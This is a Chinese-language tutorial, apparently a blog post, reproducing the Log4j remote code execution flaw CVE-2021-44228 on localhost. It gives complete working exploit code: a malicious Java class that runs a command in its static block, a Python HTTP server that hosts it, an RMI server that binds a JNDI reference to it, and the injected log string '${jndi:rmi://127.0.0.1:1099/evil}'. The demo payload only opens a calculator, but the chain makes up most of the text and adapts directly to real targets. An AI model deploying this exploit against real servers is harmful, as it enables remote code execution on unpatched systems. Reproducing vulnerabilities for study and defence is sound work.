12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞编号:CVE-2021-44228,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。关于漏洞的细节想必大家都很感兴趣,我们这边直接用代码来复现漏洞。
目录
实验环境
操作步骤
准备恶意对象
启动HTTP服务器
启动RMI服务器
启动Client
项目代码
实验环境
java版本 : 1.8.0_91
python版本: 3.10.1 (python版本与此次实验无强关联,只是为了搭建http服务器)
log4j版本 : 2.14.1
实验概览:
此次采用rmi注入,主要有这三个部分。
Client:模拟受攻击的服务器,执行log4j的日志
HTTP服务器:用于上传注入的代码,并返回给Client
RMI服务器:用于接收Client发送的rmi请求,并返回远程对象地址
恶意对象:在这个对象的静态代码块中写入想要执行的代码,如cmd命令。Client在加载对象时,由于默认执行静态代码块,cmd命令也会被执行。
操作步骤
接下来是各部分的代码展示,我们按照启动顺序展开
准备恶意对象
这是对象EviObj的代码,这里为了更好的演示,我们只是简单的执行一个calc命令(windows系统命令),调用计算器。如果大家不是windows的话,自行修改为其他命令。
public class EvilObj {
static {
try{
// open the calc
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
准备好代码后,我们编译成class
执行javac EvilObj.java 获得EvilObj.class
启动HTTP服务器
这里为了演示方便,我们直接用python3自带的SimpleHTTPServe来启动,命令如下
python -m http.server 6666
同时将EvilObj.class放在http服务器的根目录,也就是执行该python命令的所在目录。
启动RMI服务器
这里为了演示方便我rmi服务器也起在本地,监听端口1099,同时返回http服务器的地址为127.0.0.1:6666
代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
执行Main方法启动
启动Client
模拟收到攻击,打印恶意日志
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Main {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
// 执行该日志注入
log.error("${jndi:rmi://127.0.0.1:1099/evil}");
}
}
启动后可以看到,成功调用了计算器
项目代码
ApacheLog4j漏洞复现(CVE-2021-44228)包含源码-网络安全文档类资源-CSDN下载



